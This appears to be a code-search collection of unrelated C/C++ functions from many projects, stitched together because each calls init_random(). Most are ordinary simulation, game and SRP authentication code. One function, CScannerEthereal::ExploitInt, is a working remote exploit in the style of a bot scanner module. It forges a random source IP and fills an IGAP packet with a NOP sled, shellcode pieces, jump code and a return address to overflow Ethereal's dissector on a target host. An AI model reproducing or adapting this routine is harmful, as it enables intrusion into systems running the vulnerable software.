int main(int argc, char** argv) { double begin; double end; size_t nsym; size_t nactive; size_t n; size_t max_succ; cfg_t* cfg; bool print; int seed = 0; progname = argv[0]; if (argc == 7) { nsym = atoi(argv[1]); n = atoi(argv[2]); max_succ = atoi(argv[3]); nactive = atoi(argv[4]); print = atoi(argv[6]); } else { nsym = 100; n = 10; max_succ = 4; nactive = 10; print = 1; } printf("nsymbol = %zu\n", nsym); printf("nvertex = %zu\n", n); printf("max-succ = %zu\n", max_succ); printf("nactive = %zu\n", nactive); if (seed == 1) init_random(seed); else { printf("pid %d\n", getpid()); init_random(getpid()); } printf("generating cfg...\n"); cfg = new_cfg(n, nsym, max_succ); generate_cfg(cfg, n, max_succ); printf("generating usedefs...\n"); generate_usedefs(cfg, n, nsym, nactive); printf("liveness...\n\n"); begin = sec(); liveness(cfg); end = sec(); printf("T = %8.4lf s\n\n", end-begin); if (print) print_sets(cfg, stdout); free_cfg(cfg); return 0; }
int main() { init_random(); m_buffer_t rb(64); constexpr std::size_t n_readers = 2; m_reader_t rd[n_readers] = { rb, rb }; rb.mlock(); constexpr std::size_t max = 10000; std::vector<m_type> random_numbers(max + 1); for(std::size_t count = 0; count < max; ++count) { random_numbers[count] = random_number(rb.maximum_eventual_write_space() - 1) + 1; } random_numbers[max] = 0; try { std::thread t1(write_messages, &rb, random_numbers); std::thread t2(read_messages, rd); std::thread t3(read_messages, rd + 1); t1.join(); t2.join(); t3.join(); } catch(const char* s) { std::cerr << s << std::endl; return 1; } return 0; }
int main(int argc, char * argv[]) { uint32_t generation = 0; init_gfx(); init_random(); run = true; init_world(); while(run) { SDL_Event sdl_ev; if (SDL_PollEvent(&sdl_ev) != 0) { if (sdl_ev.type == SDL_KEYDOWN) switch (sdl_ev.key.keysym.sym) { case SDLK_q: run = false; break; case SDLK_SPACE: pause = !pause; break; default: break; } } if (!pause) { draw(); SDL_Flip(surface); next_generation(); generation++; /* SDL_Delay(50); */ } } SDL_Quit(); return 0; }
int main() { init_random(); // set the random generator seed init_ga(); // initialise and evaluate population display(); // display initial state // evolve population while(evals < MAX_EVALS) { SF child = create_child(); eval(&child); add_offspring(&child); // display output when necessary if(evals % DISP_EVALS == 0) display(); } // print best shape found SF best = pop[fittest_individual()]; print_sf(&best); // write best to stl // _Bool grid[GRID_SIZE][GRID_SIZE][GRID_SIZE]; // draw_super_formula( best.genome, grid ); // write_stl( grid, "best.stl" ); return EXIT_SUCCESS; }
int main(void) { //compute the challenge hash SHA1((unsigned char *)challenge_string, strlen(challenge_string), &challenge_hash[0]); //load words into the dict init_dict("words.txt"); //get ready to read /dev/urandom init_random(); //init 'best' top_distance = 5000; //compute! int nums[NUM_WORDS], i, len, dist; char buf[BUF_MAX]; sha1_hash tmp_hash[SHA_DIGEST_LENGTH]; while(1) { get_nums(nums,NUM_WORDS); len = build_string(buf, nums, NUM_WORDS); SHA1((unsigned char*)buf, len, tmp_hash); dist = distance(challenge_hash, tmp_hash); if(dist < top_distance) { //we have a winnar (maybe) memcpy(top_string, buf, len+1); top_distance = dist; printf("%i\t\"%s\"\n", top_distance, top_string); fflush(stdout); } } return 0; }
bool CScannerEthereal::ExploitInt(int iOffset) { char buffer[MAX_BUFF]; ipheader *iphdr=(ipheader*)buffer; igap_header *igaphdr=(igap_header*)(buffer+sizeof(ipheader)); unsigned long magic=targets[iOffset].ret; CString sRandomIp; int one=1; const int *val=&one; sockaddr_in sin; memset(buffer, 0x00, MAX_BUFF); int sockfd=socket(PF_INET, SOCK_RAW, IPPROTO_RAW); if(sockfd==SOCKET_ERROR) return false; if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, val, sizeof(one))<0) { close(sockfd); return false; } init_random(); sRandomIp.Format("%d.%d.%d.%d", brandom(0, 255), brandom(0, 255), brandom(0, 255), brandom(0, 255)); sin.sin_addr.s_addr=inet_addr(m_sSocket.m_szHost); sin.sin_family=AF_INET; sin.sin_port=0x00; iphdr->ip_hl=0x05; iphdr->ip_v=0x04; iphdr->ip_tos=0x00; iphdr->ip_len=MAX_BUFF; iphdr->ip_id=htonl(54321); iphdr->ip_off=0x00; iphdr->ip_ttl=0x01; iphdr->ip_proto=IPPROTO_IGAP; iphdr->ip_sum=0x00; iphdr->ip_src=inet_addr(sRandomIp.CStr()); iphdr->ip_dst=inet_addr(m_sSocket.m_szHost); if(iphdr->ip_src==SOCKET_ERROR || iphdr->ip_dst==SOCKET_ERROR) { close(sockfd); return false; } igaphdr->igap_type=0x41; igaphdr->igap_restime=0x0a; igaphdr->igap_cksum=0x00; igaphdr->igap_gaddr=0x00; igaphdr->igap_ver=0x01; igaphdr->igap_stype=0x21; igaphdr->igap_reserved1=0x00; igaphdr->igap_cid=0x00; igaphdr->igap_asize=0x10; igaphdr->igap_msgsize=0x40+PAYLOAD_SIZE; igaphdr->igap_reserved2=0x00; memset(igaphdr->igap_payload, 0x90, 16+64+PAYLOAD_SIZE); memcpy(igaphdr->igap_payload+16+RETOFFSET-strlen(shellcode_firsthalf)-8, shellcode_firsthalf, strlen(shellcode_firsthalf)); memcpy(igaphdr->igap_payload+16+64+RETOFFSET-strlen(jumpcode)-4, jumpcode, strlen(jumpcode)); memcpy(igaphdr->igap_payload+16+64+RETOFFSET, &magic, 4); magic-=0x10; memcpy(igaphdr->igap_payload+16+64+RETOFFSET-4, &magic, 4); memcpy(igaphdr->igap_payload+16+64+PAYLOAD_SIZE-strlen(shellcode_secondhalf)-1, shellcode_secondhalf, strlen(shellcode_secondhalf)); igaphdr->igap_cksum=checksum((unsigned short*)(buffer+sizeof(struct ipheader)), (sizeof(struct igap_header))>>1); iphdr->ip_sum=checksum((unsigned short*)buffer, (iphdr->ip_len)>>1); one=MAX_PACKET; while(one) { sendto(sockfd, buffer, MAX_BUFF, 0, (sockaddr*)&sin, sizeof(sin)); one--; } close(sockfd); return true; }
static void person_process(int id) { init_random(); char buf[4096]; struct lift_msg * reply; struct lift_msg m; m.person_id = id; int len; //printf("Created person with id %d\n", m.person_id); while(1) { // TODO: // Generate a to and from floor // Send a LIFT_TRAVEL message to the lift process // Wait for a LIFT_TRAVEL_DONE message // Wait a little while //printf("Morning! This is number %d speaking.\n", id); m.from_floor = get_random_value(id, N_FLOORS - 1); do { m.to_floor = get_random_value(id, N_FLOORS - 1); } while(m.from_floor == m.to_floor); //printf("Person %d wants to go to floor %d\n", m.person_id, m.to_floor); m.type = LIFT_TRAVEL; message_send((char *) &m, sizeof(m), QUEUE_LIFT, 0); do { len = message_receive(buf, 4096, QUEUE_FIRSTPERSON + id); // Wait for a message if(len < sizeof(struct lift_msg)) { fprintf(stderr, "Message too short\n"); continue; } reply = ((struct lift_msg*) buf); } while(reply->type != LIFT_TRAVEL_DONE); //printf("Going to sleep. Number %d\n", id); usleep(1000000); } }
local void newrun(void) { eps = getdparam("eps"); // get input parameters dtime = getdparam("dtime"); nstatic = getiparam("nstatic"); #if !defined(QUICKSCAN) theta = getdparam("theta"); #endif usequad = getbparam("usequad"); tstop = getdparam("tstop"); dtout = getdparam("dtout"); options = getparam("options"); outputs = getparam("outputs"); if (! strnull(infile)) // if data file was given inputdata(); // then read inital data else { // else make initial data nbody = getiparam("nbody"); // get number of bodies // I added this timesteps = getiparam("timesteps"); // get number of timesteps init_random(getiparam("seed")); // set random number gen. testdata(); // and make plummer model } rsize = 1.0; // start root w/ unit cube nstep = 0; // begin counting steps tout = tnow; // schedule first output }
int main(int argc, char **argv) { int c; while((c = getopt_long(argc, argv, "hvrus", long_opts, NULL)) != -1) { switch(c) { case 'h': print_usage(EX_OK); break; case 'v': print_version(); break; case 'r': if(rand_file == URANDOM) { fprintf(stderr, "Choose either '-r' or '-u', please.\n"); return EX_USAGE; } rand_file = RANDOM; break; case 'u': if(rand_file == RANDOM) { fprintf(stderr, "Choose either '-r' or '-u', please.\n"); return EX_USAGE; } rand_file = URANDOM; break; case 's': print_separate = 1; break; } } init_random(rand_file); if ( optind == argc ) { return roll_from_stdin(); } else { return roll_from_args(argv); } }
void main(int argc, char *argv[]) { int counter, times; if(argc != 2) { printf("Get parameter first please!\n"); return ; } times = atoi(argv[1]); if(times <=0) { printf("Get param error\n"); return; } init_random(); init_input(); init_cells(); //init_kernel_platform(); //gettimeofday(&t_start, NULL); for(counter=0; counter<times; counter++) { run(); } //gettimeofday(&t_end, NULL); //close_kernel_platform(); //printf("exec digital exec success\n"); //cost_time = (t_end.tv_sec*1000000l+t_end.tv_usec) - (t_start.tv_sec*1000000l+t_start.tv_usec); //printf("run Cost time: %lds+%ldus\n", cost_time/1000000, cost_time%1000000); close_cells(); close_random(); printf("%d times exec over\n", times); }
int main(int argc, char **argv) { char *target_domain; if (argc > 0) { /* should always be true */ myname = strrchr(argv[0], '/'); if (myname == NULL) myname = argv[0]; else myname++; } else { myname = "(unknown)"; } mypid = getpid(); target_domain = process_options(argc, argv); debug("ntlm winbindd auth helper build " __DATE__ ", " __TIME__ " starting up...\n"); check_winbindd(); if (target_domain == NULL) { target_domain = get_winbind_domain(); } /* initialize FDescs */ setbuf(stdout, NULL); setbuf(stderr, NULL); init_random(); while (manage_request(target_domain)) { /* everything is done within manage_request */ } return 0; }
static unsigned char * build_challenge(void) { size_t gotchars; unsigned char j; switch (have_urandom) { case YES: if ((gotchars = fread(&challenge, CHALLENGE_LEN, 1, urandom_file)) == 0) { /* couldn't get a challenge. Fall back to random() and friends. * notice that even a single changed byte is good enough for us */ have_urandom = NO; return build_challenge(); } return challenge; case NO: if (!(squid_random() % 100)) { /* sometimes */ init_random(); } for (j = 0; j < CHALLENGE_LEN; j++) challenge[j] = (unsigned char) (squid_random() % 256); return challenge; default: warn("Critical internal error. Somebody forgot to initialize " "the random system. Exiting.\n"); exit(1); } }
struct SRPUser * srp_user_new( SRP_HashAlgorithm alg, SRP_NGType ng_type, const char * username, const unsigned char * bytes_password, int len_password, const char * n_hex, const char * g_hex ) { struct SRPUser *usr = (struct SRPUser *) malloc( sizeof(struct SRPUser) ); int ulen = (int)strlen(username) + 1; init_random(); /* Only happens once */ usr->hash_alg = alg; usr->ng = new_ng( ng_type, n_hex, g_hex ); usr->a = BN_new(); usr->A = BN_new(); usr->S = BN_new(); usr->username = (const char *) malloc(ulen); usr->password = (const unsigned char *) malloc(len_password); usr->password_len = len_password; usr->authenticated = 0; memcpy((char *)usr->username, username, ulen); memcpy((char *)usr->password, bytes_password, len_password); usr->bytes_A = 0; return usr; }
int main(int argc, string argv[]) { stream outstr; int nmodel; real tzero = 0.0; initparam(argv, defv); layout_body(bodyfields, Precision, NDIM); nbody = getiparam("nbody"); nmodel = getiparam("nmodel"); if (nbody < 1 || nmodel < 1) error("%s: absurd value for nbody or nmodel\n", getprog()); btab = (bodyptr) allocate(nbody * SizeofBody); init_random(getiparam("seed")); outstr = stropen(getparam("out"), "w"); put_history(outstr); while (--nmodel >= 0) { plummodel(getdparam("mfrac")); if (getbparam("besort")) qsort(btab, nbody, SizeofBody, berank); if (getbparam("zerocm")) snapcenter(btab, nbody, MassField.offset); put_snap(outstr, &btab, &nbody, &tzero, bodyfields); fflush(outstr); } return (0); }
int main(int argc, char* argv[]) { #define MAX_NUMS 10 time_t tm; unsigned int val; unsigned long long max; unsigned int min; int ii; /* tm = time(0); srand(tm); */ init_random (); val = rand(); max = 0; min = 0; ii = MAX_NUMS; while(ii--) { max *= 10; max += max ? 9 : 8; min *= 10; min += min ? 0 : 1; } printf("max = %d\n", (unsigned int) max); val = min + ((unsigned long long)val) * max / MAX_INT_VAL; printf("rand pass word create: %6d\n", val); printf("dev rand pass word create: %6u\n",((unsigned int) (min + (get_dev_random() * max) / MAX_INT_VAL))); printf("dev urand pass word create: %6u\n",(unsigned int) (min + (get_dev_urandom() * max)/MAX_INT_VAL)); printf(" dev rand "); showalphnum(get_dev_random()); }
void generate_world(World* world, Tile_Info* info, isize ti_count, uint64 seed, Memory_Arena* arena) { Random r_s; Random* r = &r_s; init_random(r, seed); for(isize i = 0; i < world->areas_height; ++i) { for(isize j = 0; j < world->areas_width; ++j) { isize index = i * world->areas_width + j; World_Area* area = world->areas + index; init_world_area(area, arena); area->map.info = info; area->map.info_count = ti_count; generate_tilemap(&area->map, next_random_uint64(r)); for(isize i = 0; i < World_Area_Tilemap_Width; ++i) { Entity* e = world_area_get_next_entity(area); Sim_Body* b = sim_find_body(&area->sim, e->body_id); e->sprite.texture = Get_Texture_Coordinates(0, 96, 32, 64); b->shape.hw = 16; b->shape.hh = 12; b->inv_mass = 1.0f; e->sprite.size = v2(32, 64); e->sprite.center = v2(0, 20); entity_add_event_on_activate(e, test_on_activate); do { b->shape.center = v2( rand_range(r, 0, area->map.w * 32), rand_range(r, 0, area->map.h * 32)); } while (info[tilemap_get_at(&area->map, b->shape.center)].solid); } generate_statics_for_tilemap(&area->sim, &area->map); isize north_link = modulus(i - 1, world->areas_height) * world->areas_width + j; isize south_link = modulus(i + 1, world->areas_height) * world->areas_width + j; isize west_link = i * world->areas_width + modulus(j - 1, world->areas_width); isize east_link = i * world->areas_width + modulus(j + 1, world->areas_width); area->north = Area_Link { v2i(World_Area_Tilemap_Width / 2, World_Area_Tilemap_Height - 1), world->areas + north_link }; area->south = Area_Link { v2i(World_Area_Tilemap_Width / 2, 1), world->areas + south_link }; area->west = Area_Link { v2i(World_Area_Tilemap_Width - 1, World_Area_Tilemap_Height / 2), world->areas + west_link }; area->east = Area_Link { v2i(1, World_Area_Tilemap_Height / 2), world->areas + east_link }; } } }
void init() { double run_time ; char f_name[32]; long cflag; printf("Input run time "); scanf("%lg",&run_time); //total time for the simulation printf("Input grid size theta "); scanf("%ld",&num_of_meshpoint_theta); printf("Input grid size phi (only half of them) "); scanf("%ld",&num_of_meshpoint_phi); printf("Input iterations "); scanf("%ld",&num_of_iteration); dtheta= PI/num_of_meshpoint_theta; dphi=PI/(num_of_meshpoint_phi); DT = run_time/num_of_iteration; printf("Choose integration method "); printf("\n"); printf("\n\t1. Euler"); printf("\n\t2. Runge-Kutta (2 steps)"); printf("\n\t3. Runge-Kutta (4 steps)"); printf("\n\n"); printf("Input flag "); scanf("%ld",&method); printf("Input sigma "); scanf("%lg",&sigma); printf("Choose intial configuration "); printf("\n"); printf("\n\t1. Random"); printf("\n\t2. Import"); printf("\n\t3. Debug"); printf("\n\n"); printf("Input flag "); scanf("%ld",&cflag); switch(cflag){ case 1: init_random(); break; case 2: init_import(); break; case 3: debug(); break; } }
int main(int argc, char **argv) { init_random(); dGame *game = new dGame(); game->play(); return 0; }
void init_globals() { char temp[256]; MaxPlayer = 1; //TODO: Add multiple players option // getfont(); load_font(); // nosound(); init_random(); // OldHeapSize = memavail; // mark(OldHeapLimit); // getmem(tableground1,320*200); // getmem(tableground2,320*200); // getmem(tableground3,320*200); led_display = malloc(160*24); // getmem(arm_links,ArmBreiteLinks*ArmHoeheLinks*5); // getmem(arm_rechts,ArmBreiteRechts*ArmHoeheRechts*5); // getmem(arm_links_msk,ArmBreiteLinks*ArmHoeheLinks*5); // getmem(arm_rechts_msk,ArmBreiteRechts*ArmHoeheRechts*5); ball = malloc(256); ground = malloc(256); ball_sprite = malloc(256); underground = malloc(1024); tableground = malloc(9368); feder = malloc(480); // ledseg=seg(Led_display^); // armlinksseg:=seg(arm_links^); // armrechtsseg:=seg(arm_rechts^); // armlinks_mskseg:=seg(arm_links_msk^); // armrechts_mskseg:=seg(arm_rechts_msk^); // ballseg:=seg(ball^); // groundseg:=seg(ground^); // ballspriteseg:=seg(ball_Sprite^); // undergroundseg:=seg(underground^); // tablegroundseg:=seg(tableground^); // federseg:=seg(Feder^); led_hoehe=24; led_color_1=129; led_color_2=130; led_funktion=0; // {twix-mode 320x400 } // vga320x400Overscan(); //{setlinecomp(400-46);} load_table_tab(); load_table_gro(); load_feder(); init_colors(); sprintf(temp,"gfx/feder%c.mpa", tnr); load_mini_palette(temp); load_arm_links(); load_arm_rechts(); load_arm_links_msk(); load_arm_rechts_msk(); load_ball(); if (UseSound) init_soundkit(); }
struct SRPUser *srp_user_new(SRP_HashAlgorithm alg, SRP_NGType ng_type, const char *username, const char *username_for_verifier, const unsigned char *bytes_password, size_t len_password, const char *n_hex, const char *g_hex) { struct SRPUser *usr = (struct SRPUser *)srp_alloc(sizeof(struct SRPUser)); size_t ulen = strlen(username) + 1; size_t uvlen = strlen(username_for_verifier) + 1; if (!usr) goto err_exit; if (init_random() != SRP_OK) /* Only happens once */ goto err_exit; usr->hash_alg = alg; usr->ng = new_ng(ng_type, n_hex, g_hex); mpz_init(usr->a); mpz_init(usr->A); mpz_init(usr->S); if (!usr->ng) goto err_exit; usr->username = (char *)srp_alloc(ulen); usr->username_verifier = (char *)srp_alloc(uvlen); usr->password = (unsigned char *)srp_alloc(len_password); usr->password_len = len_password; if (!usr->username || !usr->password || !usr->username_verifier) goto err_exit; memcpy(usr->username, username, ulen); memcpy(usr->username_verifier, username_for_verifier, uvlen); memcpy(usr->password, bytes_password, len_password); usr->authenticated = 0; usr->bytes_A = 0; return usr; err_exit: if (usr) { mpz_clear(usr->a); mpz_clear(usr->A); mpz_clear(usr->S); if (usr->ng) delete_ng(usr->ng); srp_free(usr->username); srp_free(usr->username_verifier); if (usr->password) { memset(usr->password, 0, usr->password_len); srp_free(usr->password); } srp_free(usr); } return 0; }
t_info *init() { t_info *info; init_random(); info = init_info(); init_signal(info); return (info); }
// clang-format off SRP_Result srp_create_salted_verification_key( SRP_HashAlgorithm alg, SRP_NGType ng_type, const char *username_for_verifier, const unsigned char *password, size_t len_password, unsigned char **bytes_s, size_t *len_s, unsigned char **bytes_v, size_t *len_v, const char *n_hex, const char *g_hex ) { SRP_Result ret = SRP_OK; mpz_t v; mpz_init(v); mpz_t x; mpz_init(x); // clang-format on NGConstant *ng = new_ng(ng_type, n_hex, g_hex); if (!ng) goto error_and_exit; if (init_random() != SRP_OK) /* Only happens once */ goto error_and_exit; if (*bytes_s == NULL) { size_t size_to_fill = 16; *len_s = size_to_fill; if (RAND_BUFF_MAX - g_rand_idx < size_to_fill) if (fill_buff() != SRP_OK) goto error_and_exit; *bytes_s = (unsigned char *)srp_alloc(size_to_fill); if (!*bytes_s) goto error_and_exit; memcpy(*bytes_s, g_rand_buff + g_rand_idx, size_to_fill); g_rand_idx += size_to_fill; } if (!calculate_x( x, alg, *bytes_s, *len_s, username_for_verifier, password, len_password)) goto error_and_exit; srp_dbg_num(x, "Server calculated x: "); mpz_powm(v, ng->g, x, ng->N); *len_v = mpz_num_bytes(v); *bytes_v = (unsigned char *)srp_alloc(*len_v); if (!*bytes_v) goto error_and_exit; mpz_to_bin(v, *bytes_v); cleanup_and_exit: delete_ng(ng); mpz_clear(v); mpz_clear(x); return ret; error_and_exit: ret = SRP_ERR; goto cleanup_and_exit; }
struct SRPUser * srp_user_new( SRP_HashAlgorithm alg, SRP_NGType ng_type, const char * username, const char * bytes_password, int len_password, const char * n_hex, const char * g_hex ) { struct SRPUser *usr = (struct SRPUser *) malloc( sizeof(struct SRPUser) ); int ulen = strlen(username) + 1; if (!usr) goto err_exit; init_random(); /* Only happens once */ usr->hash_alg = alg; usr->ng = new_ng( ng_type, n_hex, g_hex ); usr->a = BN_new(); usr->A = BN_new(); usr->S = BN_new(); if (!usr->ng || !usr->a || !usr->A || !usr->S) goto err_exit; usr->username = (const char *) malloc(ulen); usr->password = (const unsigned char *) malloc(len_password); usr->password_len = len_password; if (!usr->username || !usr->password) goto err_exit; memcpy((char *)usr->username, username, ulen); memcpy((char *)usr->password, bytes_password, len_password); usr->authenticated = 0; usr->bytes_A = 0; return usr; err_exit: if (usr) { BN_free(usr->a); BN_free(usr->A); BN_free(usr->S); if (usr->username) free((void*)usr->username); if (usr->password) { memset((void*)usr->password, 0, usr->password_len); free((void*)usr->password); } free(usr); } return 0; }
void init() { stack_position = StackPosition::CENTERED; init_random(); input.init(); init_modes(); init_textures(); menu.init(); menu.init_graphics(); }
int main(int argc, string argv[]) { initparam(argv, defv); readgsp(); init_random(getiparam("seed")); layout_body(bodyfields, Precision, NDIM); gspmodel(); writemodel(); return (0); }
void init() { map_node = nx::map["Map"]; if (!map_node) { throw std::runtime_error{"Theres no maps!"}; } old_style = !map_node["Map0"]; init_random(); load_random(); // Just in case loading the config'd map fails load(config::map, "sp"); if (!next) { throw std::runtime_error{"No map to load!"}; } load_now(); }
int main(int argc, string argv[]) { initparam(argv, defv); readgsp(); init_random(getiparam("seed")); layout_body(bodyfields, Precision, NDIM); gspsphere(); if (getbparam("zerocm")) snapcenter(btab, nbody, MassField.offset); writemodel(); return (0); }
SRPUser * srp_user_new_with_a(SRP_HashAlgorithm alg, SRP_NGType ng_type, const char *username, const char *password, const char *n_hex, const char *g_hex, BIGNUM *a) { SRPUser *usr = (SRPUser *)malloc(sizeof(SRPUser)); int username_length = strlen(username) + 1; int password_length = strlen(password) + 1; if (!usr) goto err_exit; init_random(); usr->hash_alg = alg; usr->ng = new_ng(ng_type, n_hex, g_hex); usr->a = a; usr->A = BN_new(); usr->S = BN_new(); usr->Astr = 0; usr->HAMK = 0; if (!usr->ng || !usr->a || !usr->A || !usr->S) goto err_exit; usr->username = (const char *) malloc(username_length); usr->password = (const char *) malloc(password_length); usr->password_len = password_length; if (!usr->username || !usr->password) goto err_exit; memcpy((char *)usr->username, username, username_length); memcpy((char *)usr->password, password, password_length); usr->authenticated = 0; usr->bytes_A = 0; return usr; err_exit: if (usr) { BN_free(usr->a); BN_free(usr->A); BN_free(usr->S); if (usr->username) free((void*)usr->username); if (usr->password) { memset((void*)usr->password, 0, usr->password_len); free((void*)usr->password); } free(usr); } return 0; }
JNIEXPORT void JNICALL Java_handevaluator_jni_JNIHandEvaluator_runOverhead(JNIEnv *env , jclass clazz, jint trials) { init_random(trials); deck_struct deck; init_deck(&deck); int i, j; char cards[7]; for (i=0; i < trials; i++) { reset_deck(&deck); for (j=0; j < 7; j++) { cards[j] = draw_random_card(&deck); } } }
int on_program_start(Tcl_Interp *interp) { EVENT_TRACE(fprintf(stderr, "%d: on_program_start\n", this_node)); /* call the initialization of the modules here */ init_random(); init_bit_random(); setup_node_grid(); /* calculate initial minimimal number of cells (see tclcallback_min_num_cells) */ min_num_cells = calc_processor_min_num_cells(); cells_pre_init(); ghost_init(); /* Initialise force and energy tables */ force_and_energy_tables_init(); #ifdef ADRESS #ifdef INTERFACE_CORRECTION adress_force_and_energy_tables_init(); #endif /** #ifdef THERMODYNAMIC_FORCE */ tf_tables_init(); /** #endif */ #endif #ifdef ELP3M fft_pre_init(); #endif #ifdef LB_GPU if(this_node == 0){ lb_pre_init_gpu(); } #endif #ifdef LB lb_pre_init(); #endif /* call all initializations to do only on the master node here. */ if (this_node == 0) { /* interaction_data.c: make sure 0<->0 ia always exists */ make_particle_type_exist(0); init_tcl(interp); } return TCL_OK; }